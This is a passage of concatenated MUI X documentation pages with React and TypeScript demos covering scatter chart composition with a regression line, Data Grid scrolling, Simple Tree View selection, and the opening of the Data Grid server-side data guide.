        <Typography component="span" variant="body2">
          {item.value.y.toFixed(2)} gCO₂eq/kWh
        </Typography>
      </Typography>
    </Paper>
  );
}

```

## Composition

Use the `<ChartDataProvider />` to provide `series`, `xAxis`, and `yAxis` props for composition.

In addition to the common chart components available for [composition](/x/react-charts/composition/), you can use the `<ScatterPlot />` component that renders the scatter marks.

Here's how the Scatter Chart is composed:

```jsx
<ChartDataProvider>
  <ChartsWrapper>
    <ChartsLegend />
    <ChartsSurface>
      <ChartsAxis />
      <ChartsGrid />
      <g data-drawing-container>
        {/* Elements able to overflow the drawing area. */}
        <ScatterPlot />
      </g>
      <ChartsOverlay />
      <ChartsAxisHighlight />
    </ChartsSurface>
    <ChartsTooltip trigger="item" />
  </ChartsWrapper>
</ChartDataProvider>
```

:::info
The `data-drawing-container` indicates that children of this element should be considered part of the drawing area, even if they overflow.

See the [Composition—clipping](/x/react-charts/composition/#clipping) for more info.
:::

### Regression line

You add a regression line to a scatter plot by leveraging composition.

```tsx
import * as React from 'react';
import { ScatterChart } from '@mui/x-charts/ScatterChart';
import { useSeries, useXScale, useYScale } from '@mui/x-charts/hooks';
import { ChartsClipPath } from '@mui/x-charts/ChartsClipPath';
import useId from '@mui/utils/useId';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import { useTheme } from '@mui/material/styles';
import { rainbowSurgePalette } from '@mui/x-charts/colorPalettes';
import { diamonds } from '../dataset/diamonds';

const dollarFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  maximumFractionDigits: 0,
});

export default function ScatterRegressionLine() {
  return (
    <Stack width="100%">
      <Typography variant="h6" component="span" textAlign="center">
        Relation between Weight and Price of Diamonds
      </Typography>
      <ScatterChart
        dataset={diamonds}
        height={300}
        xAxis={[{ min: 0, label: 'Weight (carats)' }]}
        yAxis={[
          {
            min: 0,
            width: 80,
            valueFormatter: (value: number) => dollarFormatter.format(value),
            label: 'Price (USD)',
          },
        ]}
        series={[
          {
            id: 'diamonds',
            datasetKeys: { x: 'carat', y: 'price' },
            markerSize: 2,
            valueFormatter: (v) =>
              `${dollarFormatter.format(v!.y)} for ${v!.x} carat`,
          },
        ]}
      >
        <RegressionLine seriesId="diamonds" />
      </ScatterChart>

      <Typography variant="caption">Source: OpenML</Typography>
    </Stack>
  );
}

function RegressionLine({ seriesId }: { seriesId: string }) {
  const theme = useTheme();
  const palette = rainbowSurgePalette(theme.palette.mode);
  const stroke = palette[2];
  const allSeries = useSeries();
  const series = allSeries.scatter!.series[seriesId]!;
  const xScale = useXScale(series.xAxisId!);
  const yScale = useYScale(series.yAxisId!);
  const clipPathId = `linear-regression-clip-${useId()}`;

  const { m, b } = linearRegression(series.data ?? []);

  const xDomain = xScale.domain() as [number, number];
  const x1 = xScale(xDomain[0]);
  const x2 = xScale(xDomain[1]);
  const y1 = yScale(m * xDomain[0] + b);
  const y2 = yScale(m * xDomain[1] + b);

  return (
    <React.Fragment>
      <ChartsClipPath id={clipPathId} />
      <g clipPath={`url(#${clipPathId})`}>
        <line x1={x1} y1={y1} x2={x2} y2={y2} stroke={stroke} strokeWidth={2} />
      </g>
    </React.Fragment>
  );
}

function linearRegression(points: ReadonlyArray<{ x: number; y: number }>) {
  const n = points.length;

  // Calculate sums
  let sumX = 0,
    sumY = 0,
    sumXY = 0,
    sumX2 = 0;

  for (let i = 0; i < n; i += 1) {
    const x = points[i].x;
    const y = points[i].y;
    sumX += x;
    sumY += y;
    sumXY += x * y;
    sumX2 += x * x;
  }

  // Calculate slope (m) and intercept (b)
  const m = (n * sumXY - sumX * sumY) / (n * sumX2 - sumX * sumX);
  const b = (sumY - m * sumX) / n;

  return { m, b };
}

```

---

# Source: https://mui.com/x/react-data-grid/scrolling.md

# Data Grid - Scrolling

This section presents how to programmatically control the scroll.

## Scrolling to specific cells

You can scroll to a specific cell by calling `apiRef.current.scrollToIndexes()`.
The only argument that must be passed is an object containing the row index and the column index of the cell to scroll.
If the row or column index is not present, the Data Grid will not do any movement in the missing axis.

The following demo explores the usage of this API:

```tsx
import * as React from 'react';
import Grid from '@mui/material/Grid';
import Box from '@mui/material/Box';
import Button from '@mui/material/Button';
import IconButton from '@mui/material/IconButton';
import HomeIcon from '@mui/icons-material/Home';
import {
  DataGridPro,
  useGridApiRef,
  gridExpandedRowCountSelector,
  gridVisibleColumnDefinitionsSelector,
  gridExpandedSortedRowIdsSelector,
  GridCellParams,
} from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function ScrollPlayground() {
  const apiRef = useGridApiRef();

  const [coordinates, setCoordinates] = React.useState({
    rowIndex: 0,
    colIndex: 0,
  });

  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
  });

  React.useEffect(() => {
    const { rowIndex, colIndex } = coordinates;
    apiRef.current?.scrollToIndexes(coordinates);
    const id = gridExpandedSortedRowIdsSelector(apiRef)[rowIndex];
    const column = gridVisibleColumnDefinitionsSelector(apiRef)[colIndex];
    apiRef.current?.setCellFocus(id, column.field);
  }, [apiRef, coordinates]);

  const handleClick = (position: string) => () => {
    const maxRowIndex = gridExpandedRowCountSelector(apiRef) - 1;
    const maxColIndex = gridVisibleColumnDefinitionsSelector(apiRef).length - 1;

    setCoordinates((coords) => {
      switch (position) {
        case 'top':
          return { ...coords, rowIndex: Math.max(0, coords.rowIndex - 1) };
        case 'bottom':
          return { ...coords, rowIndex: Math.min(maxRowIndex, coords.rowIndex + 1) };
        case 'left':
          return { ...coords, colIndex: Math.max(0, coords.colIndex - 1) };
        case 'right':
          return { ...coords, colIndex: Math.min(maxColIndex, coords.colIndex + 1) };
        default:
          return { ...coords, rowIndex: 0, colIndex: 0 };
      }
    });
  };

  const handleCellClick = (params: GridCellParams) => {
    const rowIndex = gridExpandedSortedRowIdsSelector(apiRef).findIndex(
      (id) => id === params.id,
    );
    const colIndex = gridVisibleColumnDefinitionsSelector(apiRef).findIndex(
      (column) => column.field === params.field,
    );
    setCoordinates({ rowIndex, colIndex });
  };

  return (
    <Box sx={{ width: '100%' }}>
      <Box sx={{ width: 300, margin: '0 auto 16px' }}>
        <Grid container justifyContent="center">
          <Grid>
            <Button onClick={handleClick('top')}>top</Button>
          </Grid>
        </Grid>
        <Grid container textAlign="center">
          <Grid size={{ xs: 4 }}>
            <Button onClick={handleClick('left')}>left</Button>
          </Grid>
          <Grid size={{ xs: 4 }}>
            <IconButton
              color="primary"
              aria-label="home"
              onClick={handleClick('home')}
            >
              <HomeIcon />
            </IconButton>
          </Grid>
          <Grid size={{ xs: 4 }}>
            <Button onClick={handleClick('right')}>right</Button>
          </Grid>
        </Grid>
        <Grid container justifyContent="center">
          <Grid>
            <Button onClick={handleClick('bottom')}>bottom</Button>
          </Grid>
        </Grid>
      </Box>
      <Box sx={{ height: 400 }}>
        <DataGridPro
          apiRef={apiRef}
          onCellClick={handleCellClick}
          hideFooter
          loading={loading}
          {...data}
        />
      </Box>
    </Box>
  );
}

```

## Scroll restoration

You can restore scroll to a previous position by defining `initialState.scroll` values `{ top: number, left: number }`. The Data Grid will mount at the specified scroll offset in pixels.

The following demo explores the usage of scroll restoration:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import {
  DataGridPro,
  useGridApiRef,
  gridVisibleColumnDefinitionsSelector,
  gridExpandedSortedRowIdsSelector,
  GridCellParams,
} from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function ScrollRestoration() {
  const apiRef = useGridApiRef();

  const [coordinates, setCoordinates] = React.useState({
    rowIndex: 0,
    colIndex: 0,
  });

  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 100,
  });

  React.useEffect(() => {
    const { rowIndex, colIndex } = coordinates;
    apiRef.current?.scrollToIndexes(coordinates);
    const id = gridExpandedSortedRowIdsSelector(apiRef)[rowIndex];
    const column = gridVisibleColumnDefinitionsSelector(apiRef)[colIndex];
    apiRef.current?.setCellFocus(id, column.field);
  }, [apiRef, coordinates]);

  const handleCellClick = (params: GridCellParams) => {
    const rowIndex = gridExpandedSortedRowIdsSelector(apiRef).findIndex(
      (id) => id === params.id,
    );
    const colIndex = gridVisibleColumnDefinitionsSelector(apiRef).findIndex(
      (column) => column.field === params.field,
    );
    setCoordinates({ rowIndex, colIndex });
  };

  return (
    <Box sx={{ width: '100%' }}>
      <Box sx={{ height: 400 }}>
        <DataGridPro
          apiRef={apiRef}
          onCellClick={handleCellClick}
          hideFooter
          loading={loading}
          {...data}
          initialState={{
            ...data.initialState,
            scroll: { top: 1000, left: 1000 },
          }}
        />
      </Box>
    </Box>
  );
}

```

## apiRef

The Data Grid exposes a set of methods via the `apiRef` object that are used internally in the implementation of scrolling feature.
The reference below describes the relevant functions.
See [API object](/x/react-data-grid/api-object/) for more details.

:::warning
This API should only be used as a last resort when the Data Grid's built-in props aren't sufficient for your specific use case.
:::

```jsx
import ApiDocs from 'docsx/src/modules/components/ApiDocs';
import api from 'docsx/pages/x/api/data-grid/grid-scroll-api.json';

export default function ScrollApiNoSnap() {
  return <ApiDocs api={api} />;
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-tree-view/rich-tree-view/selection.md

# Source: https://mui.com/x/react-tree-view/simple-tree-view/selection.md

---
productId: x-tree-view
title: Simple Tree View - Selection
components: SimpleTreeView, TreeItem
packageName: '@mui/x-tree-view'
githubLabel: 'scope: tree view'
waiAria: https://www.w3.org/WAI/ARIA/apg/patterns/treeview/
---

# Simple Tree View - Selection

Learn how to enable item selection for the Tree View component.

## Single selection

By default, `SimpleTreeView` lets users select a single item.

```tsx
import Box from '@mui/material/Box';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';

export default function SingleSelectTreeView() {
  return (
    <Box sx={{ minHeight: 352, minWidth: 250 }}>
      <SimpleTreeView>
        <TreeItem itemId="grid" label="Data Grid">
          <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
          <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
          <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
        </TreeItem>
        <TreeItem itemId="pickers" label="Date and Time Pickers">
          <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
          <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
        </TreeItem>
        <TreeItem itemId="charts" label="Charts">
          <TreeItem itemId="charts-community" label="@mui/x-charts" />
        </TreeItem>
        <TreeItem itemId="tree-view" label="Tree View">
          <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
        </TreeItem>
      </SimpleTreeView>
    </Box>
  );
}

```

:::success
When `SimpleTreeView` is set to allow one seletion at a time, users can select an item by clicking it or using the [keyboard shortcuts](/x/react-tree-view/accessibility/#on-single-select-trees).
:::

## Multi-selection

Use the `multiSelect` prop to enable multi-selection.

```tsx
import Box from '@mui/material/Box';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';

export default function MultiSelectTreeView() {
  return (
    <Box sx={{ minHeight: 352, minWidth: 250 }}>
      <SimpleTreeView multiSelect>
        <TreeItem itemId="grid" label="Data Grid">
          <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
          <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
          <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
        </TreeItem>
        <TreeItem itemId="pickers" label="Date and Time Pickers">
          <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
          <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
        </TreeItem>
        <TreeItem itemId="charts" label="Charts">
          <TreeItem itemId="charts-community" label="@mui/x-charts" />
        </TreeItem>
        <TreeItem itemId="tree-view" label="Tree View">
          <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
        </TreeItem>
      </SimpleTreeView>
    </Box>
  );
}

```

:::success
When multi-selection is enabled, users can select multiple items using the mouse in two ways:

1. To select multiple independent items, hold <kbd class="key">Ctrl</kbd> (or <kbd class="key">⌘ Command</kbd> on macOS) and click the items.
2. To select a range of items, click on the first item of the range, then hold the <kbd class="key">Shift</kbd> key while clicking on the last item of the range.

You can also use [keyboard shortcuts](/x/react-tree-view/accessibility/#on-multi-select-trees) to select items.
:::

## Disable selection

Use the `disableSelection` prop if you don't want the items to be selectable:

```tsx
import Box from '@mui/material/Box';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';

export default function DisableSelection() {
  return (
    <Box sx={{ minHeight: 352, minWidth: 250 }}>
      <SimpleTreeView disableSelection>
        <TreeItem itemId="grid" label="Data Grid">
          <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
          <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
          <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
        </TreeItem>
        <TreeItem itemId="pickers" label="Date and Time Pickers">
          <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
          <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
        </TreeItem>
        <TreeItem itemId="charts" label="Charts">
          <TreeItem itemId="charts-community" label="@mui/x-charts" />
        </TreeItem>
        <TreeItem itemId="tree-view" label="Tree View">
          <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
        </TreeItem>
      </SimpleTreeView>
    </Box>
  );
}

```

## Checkbox selection

To enable checkbox selection, set `checkboxSelection={true}`:

```tsx
import Box from '@mui/material/Box';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';

export default function CheckboxSelection() {
  return (
    <Box sx={{ minHeight: 352, minWidth: 290 }}>
      <SimpleTreeView checkboxSelection>
        <TreeItem itemId="grid" label="Data Grid">
          <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
          <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
          <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
        </TreeItem>
        <TreeItem itemId="pickers" label="Date and Time Pickers">
          <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
          <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
        </TreeItem>
        <TreeItem itemId="charts" label="Charts">
          <TreeItem itemId="charts-community" label="@mui/x-charts" />
        </TreeItem>
        <TreeItem itemId="tree-view" label="Tree View">
          <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
        </TreeItem>
      </SimpleTreeView>
    </Box>
  );
}

```

This is also compatible with multi-selection:

```tsx
import Box from '@mui/material/Box';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';

export default function CheckboxMultiSelection() {
  return (
    <Box sx={{ minHeight: 352, minWidth: 290 }}>
      <SimpleTreeView multiSelect checkboxSelection>
        <TreeItem itemId="grid" label="Data Grid">
          <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
          <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
          <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
        </TreeItem>
        <TreeItem itemId="pickers" label="Date and Time Pickers">
          <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
          <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
        </TreeItem>
        <TreeItem itemId="charts" label="Charts">
          <TreeItem itemId="charts-community" label="@mui/x-charts" />
        </TreeItem>
        <TreeItem itemId="tree-view" label="Tree View">
          <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
        </TreeItem>
      </SimpleTreeView>
    </Box>
  );
}

```

## Selectable items

Use the `disableSelection` prop on the Tree Item component to disable selection on specific items.
When an item is not selectable, the checkbox is hidden regardless of [`checkboxSelection`](#checkbox-selection) prop.

In the example below, only leaf items (items without children) are selectable.

```tsx
import Box from '@mui/material/Box';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';

export default function SelectableItems() {
  return (
    <Box sx={{ minHeight: 352, minWidth: 290 }}>
      <SimpleTreeView defaultExpandedItems={['grid']} checkboxSelection>
        <TreeItem itemId="grid" label="Data Grid" disableSelection>
          <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
          <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
          <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
        </TreeItem>
        <TreeItem itemId="pickers" label="Date and Time Pickers" disableSelection>
          <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
          <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
        </TreeItem>
        <TreeItem itemId="charts" label="Charts" disableSelection>
          <TreeItem itemId="charts-community" label="@mui/x-charts" />
        </TreeItem>
        <TreeItem itemId="tree-view" label="Tree View" disableSelection>
          <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
        </TreeItem>
      </SimpleTreeView>
    </Box>
  );
}

```

## Controlled selection

Use the `selectedItems` prop to control selected `TreeItem` components.
You can also use the `onSelectedItemsChange` prop to listen to changes in the selected items and update the prop accordingly.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';
import Button from '@mui/material/Button';

export default function ControlledSelection() {
  const [selectedItems, setSelectedItems] = React.useState<string[]>([]);

  const handleSelectedItemsChange = (
    event: React.SyntheticEvent | null,
    ids: string[],
  ) => {
    setSelectedItems(ids);
  };

  const handleSelectClick = () => {
    setSelectedItems((oldSelected) =>
      oldSelected.length === 0
        ? [
            'grid',
            'grid-community',
            'grid-pro',
            'grid-premium',
            'pickers',
            'pickers-community',
            'pickers-pro',
            'charts',
            'charts-community',
            'tree-view',
            'tree-view-community',
          ]
        : [],
    );
  };

  return (
    <Stack spacing={2}>
      <div>
        <Button onClick={handleSelectClick}>
          {selectedItems.length === 0 ? 'Select all' : 'Unselect all'}
        </Button>
      </div>
      <Box sx={{ minHeight: 352, minWidth: 250 }}>
        <SimpleTreeView
          selectedItems={selectedItems}
          onSelectedItemsChange={handleSelectedItemsChange}
          multiSelect
        >
          <TreeItem itemId="grid" label="Data Grid">
            <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
            <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
            <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
          </TreeItem>
          <TreeItem itemId="pickers" label="Date and Time Pickers">
            <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
            <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
          </TreeItem>
          <TreeItem itemId="charts" label="Charts">
            <TreeItem itemId="charts-community" label="@mui/x-charts" />
          </TreeItem>
          <TreeItem itemId="tree-view" label="Tree View">
            <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
          </TreeItem>
        </SimpleTreeView>
      </Box>
    </Stack>
  );
}

```

:::info

- The selection is **controlled** when its parent manages it by providing a `selectedItems` prop.
- The selection is **uncontrolled** when it is managed by the component's own internal state. This state can be initialized using the `defaultSelectedItems` prop.

Learn more about the _Controlled and uncontrolled_ pattern in the [React documentation](https://react.dev/learn/sharing-state-between-components#controlled-and-uncontrolled-components).
:::

## Track item selection change

Use the `onItemSelectionToggle` prop to react to an item selection change:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';

export default function TrackItemSelectionToggle() {
  const [lastSelectedItem, setLastSelectedItem] = React.useState<string | null>(
    null,
  );

  const handleItemSelectionToggle = (
    event: React.SyntheticEvent | null,
    itemId: string,
    isSelected: boolean,
  ) => {
    if (isSelected) {
      setLastSelectedItem(itemId);
    }
  };

  return (
    <Stack spacing={2}>
      <Typography>
        {lastSelectedItem == null
          ? 'No item selection recorded'
          : `Last selected item: ${lastSelectedItem}`}
      </Typography>
      <Box sx={{ minHeight: 352, minWidth: 300 }}>
        <SimpleTreeView onItemSelectionToggle={handleItemSelectionToggle}>
          <TreeItem itemId="grid" label="Data Grid">
            <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
            <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
            <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
          </TreeItem>
          <TreeItem itemId="pickers" label="Date and Time Pickers">
            <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
            <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
          </TreeItem>
          <TreeItem itemId="charts" label="Charts">
            <TreeItem itemId="charts-community" label="@mui/x-charts" />
          </TreeItem>
          <TreeItem itemId="tree-view" label="Tree View">
            <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
          </TreeItem>
        </SimpleTreeView>
      </Box>
    </Stack>
  );
}

```

## Imperative API

To use the `apiRef` object, you need to initialize it using the `useSimpleTreeViewApiRef()` hook as follows:

```tsx
const apiRef = useSimpleTreeViewApiRef();

return <SimpleTreeView apiRef={apiRef} items={ITEMS} />;
```

When your component first renders, `apiRef.current` is `undefined`.
After the initial render, `apiRef` holds methods to interact imperatively with the Tree View.

### Select or deselect an item

Use the `setItemSelection()` API method to select or deselect an item:

```ts
apiRef.current.setItemSelection({
  // The DOM event that triggered the change
  event,
  // The id of the item to select or deselect
  itemId,
  // If `true`, the other already selected items will remain selected
  // Otherwise, they will be deselected
  // This parameter is only relevant when `multiSelect` is `true`
  keepExistingSelection,
  // If `true` the item will be selected
  // If `false` the item will be deselected
  // If not defined, the item's selection status will be toggled
  shouldBeSelected,
});
```

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';
import { useSimpleTreeViewApiRef } from '@mui/x-tree-view/hooks';

export default function ApiMethodSetItemSelection() {
  const apiRef = useSimpleTreeViewApiRef();
  const handleSelectGridPro = (event: React.SyntheticEvent) => {
    apiRef.current?.setItemSelection({ event, itemId: 'grid-pro' });
  };

  return (
    <Stack spacing={2}>
      <div>
        <Button onClick={handleSelectGridPro}>Select grid pro item</Button>
      </div>
      <Box sx={{ minHeight: 352, minWidth: 250 }}>
        <SimpleTreeView apiRef={apiRef} defaultExpandedItems={['grid']}>
          <TreeItem itemId="grid" label="Data Grid">
            <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
            <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
            <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
          </TreeItem>
          <TreeItem itemId="pickers" label="Date and Time Pickers">
            <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
            <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
          </TreeItem>
          <TreeItem itemId="charts" label="Charts">
            <TreeItem itemId="charts-community" label="@mui/x-charts" />
          </TreeItem>
          <TreeItem itemId="tree-view" label="Tree View">
            <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
          </TreeItem>
        </SimpleTreeView>
      </Box>
    </Stack>
  );
}

```

You can use the `keepExistingSelection` property to avoid losing the items that have already been selected when using `multiSelect`:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Stack from '@mui/material/Stack';
import Button from '@mui/material/Button';
import { SimpleTreeView } from '@mui/x-tree-view/SimpleTreeView';
import { TreeItem } from '@mui/x-tree-view/TreeItem';
import { useSimpleTreeViewApiRef } from '@mui/x-tree-view/hooks';

export default function ApiMethodSetItemSelectionKeepExistingSelection() {
  const apiRef = useSimpleTreeViewApiRef();
  const handleSelectGridPro = (event: React.SyntheticEvent) => {
    apiRef.current?.setItemSelection({
      event,
      itemId: 'grid-pro',
      keepExistingSelection: true,
    });
  };

  return (
    <Stack spacing={2}>
      <div>
        <Button onClick={handleSelectGridPro}>Select grid pro item</Button>
      </div>
      <Box sx={{ minHeight: 352, minWidth: 250 }}>
        <SimpleTreeView
          apiRef={apiRef}
          defaultExpandedItems={['grid']}
          multiSelect
          defaultSelectedItems={['grid-premium']}
        >
          <TreeItem itemId="grid" label="Data Grid">
            <TreeItem itemId="grid-community" label="@mui/x-data-grid" />
            <TreeItem itemId="grid-pro" label="@mui/x-data-grid-pro" />
            <TreeItem itemId="grid-premium" label="@mui/x-data-grid-premium" />
          </TreeItem>
          <TreeItem itemId="pickers" label="Date and Time Pickers">
            <TreeItem itemId="pickers-community" label="@mui/x-date-pickers" />
            <TreeItem itemId="pickers-pro" label="@mui/x-date-pickers-pro" />
          </TreeItem>
          <TreeItem itemId="charts" label="Charts">
            <TreeItem itemId="charts-community" label="@mui/x-charts" />
          </TreeItem>
          <TreeItem itemId="tree-view" label="Tree View">
            <TreeItem itemId="tree-view-community" label="@mui/x-tree-view" />
          </TreeItem>
        </SimpleTreeView>
      </Box>
    </Stack>
  );
}

```

---

# Source: https://mui.com/x/react-data-grid/tutorials/server-side-data.md

# Source: https://mui.com/x/react-data-grid/server-side-data.md

# Data Grid - Server-side data

Learn how to work with server-side data in the Data Grid using the Data Source layer.

## Introduction

Server-side data management in React can become complex with growing datasets.
Challenges include manual data fetching, pagination, sorting, filtering, and performance optimization.
A dedicated module can help abstract these complexities to improve the developer experience.
The Data Grid provides the Data Source layer for this purpose.

:::success
If you prefer to learn by example, the [server-side data tutorial](/x/react-data-grid/tutorials/server-side-data/) shows you how to implement the Data Source layer in a full-stack app.
:::

### The problem: compounding complexity

Consider a Data Grid displaying a list of users that supports pagination, sorting by column headers, and filtering.
The Data Grid fetches data from the server when the user changes the page or updates filtering or sorting.
Here's an example of what that might look like:

```tsx
const [rows, setRows] = React.useState([]);
const [paginationModel, setPaginationModel] = React.useState({
  page: 0,
  pageSize: 10,
});
const [filterModel, setFilterModel] = React.useState({ items: [] });
const [sortModel, setSortModel] = React.useState([]);

React.useEffect(() => {
  const fetcher = async () => {
    // fetch data from server
    const data = await fetch('https://my-api.com/data', {
      method: 'GET',
      body: JSON.stringify({
        page: paginationModel.page,
        pageSize: paginationModel.pageSize,
        sortModel,
        filterModel,
      }),
    });
    setRows(data.rows);
  };
  fetcher();
}, [paginationModel, sortModel, filterModel]);

<DataGrid
  columns={columns}
  pagination
  sortingMode="server"
  filterMode="server"
  paginationMode="server"
  onPaginationModelChange={setPaginationModel}
  onSortModelChange={setSortModel}
  onFilterModelChange={setFilterModel}
/>;
```

But this example only scratches the surface of the complexity when working with server-side data in the Data Grid—the following features are still not addressed:

- Performance optimization
- Data caching and request deduping
- Row grouping and tree data
- Lazy-loading data
- Handling updates to the data (row editing and deletion)
- On-demand data refetching

Trying to tackle each of these features individually can make the code overly complex and difficult to maintain.

### The solution: the Data Source layer

For the Data Grid, the solution to the situation described above is a centralized abstraction layer called the Data Source.
This provides an interface for communications between the Data Grid on the client and the actual data on the server.

The Data Source has an initial set of required methods that you must implement.
The Data Grid uses these methods internally to fetch subsets of data as needed.

The following code snippet illustrates a minimal `GridDataSource` interface configuration.
More complex implementations with properties like `getChildrenCount()` and `getGroupKey()` are discussed in the specific server-side feature docs that follow this introductory page.

```tsx
interface GridDataSource {
  /**
   * This method is called when the grid needs to fetch rows.
   * @param {GridGetRowsParams} params The parameters required to fetch the rows.
   * @returns {Promise<GridGetRowsResponse>} A promise that resolves to the data of
   * type [GridGetRowsResponse].
   */
  getRows(params: GridGetRowsParams): Promise<GridGetRowsResponse>;
}
```

Here's what the component from [the aforementioned problem](#the-problem-compounding-complexity) looks like when implemented with the Data Source:

```tsx
const customDataSource: GridDataSource = {
  getRows: async (params: GridGetRowsParams): GetRowsResponse => {
    const response = await fetch('https://my-api.com/data', {
      method: 'GET',
      body: JSON.stringify(params),
    });
    const data = await response.json();

    return {
      rows: data.rows,
      rowCount: data.totalCount,
    };
  },
}

<DataGrid
  columns={columns}
  dataSource={customDataSource}
  pagination
/>
```

With the Data Source, the total amount of code is significantly reduced; there's no need to manage controlled states; and data fetching logic is centralized.

## Server-side filtering, sorting, and pagination

The Data Source changes how existing server-side features like filtering, sorting, and pagination work.

### Without the Data Source (default behavior)

Without the Data Source implemented, features like filtering, sorting, pagination are designed to work on the client side by default.

To work correctly with server-side data, you must explicitly set these features to `"server"` mode and provide the [`onFilterModelChange()`](/x/react-data-grid/filtering/server-side/), [`onSortModelChange()`](/x/react-data-grid/sorting/#server-side-sorting), and [`onPaginationModelChange()`](/x/react-data-grid/pagination/#server-side-pagination) event handlers to fetch the data from the server based on the updated variables, as shown below:

```tsx
<DataGrid
  columns={columns}
  rows={rows}
  pagination
  sortingMode="server"
  filterMode="server"
  paginationMode="server"
  onPaginationModelChange={(newPaginationModel) => {
    // fetch data from server
  }}
  onSortModelChange={(newSortModel) => {
    // fetch data from server
  }}
  onFilterModelChange={(newFilterModel) => {
    // fetch data from server
  }}
/>
```

### With the Data Source

With the Data Source implemented, features like filtering, sorting, and pagination are automatically set to `"server"` mode.
When the corresponding models update, the Data Grid calls the `getRows()` method with the updated values of type `GridGetRowsParams` to get updated data.

```tsx
<DataGrid
  columns={columns}
  // automatically sets `sortingMode="server"`, `filterMode="server"`, `paginationMode="server"`
  dataSource={customDataSource}
/>
```

The following demo showcases this behavior.

```tsx
import * as React from 'react';
import { DataGrid, GridDataSource } from '@mui/x-data-grid';
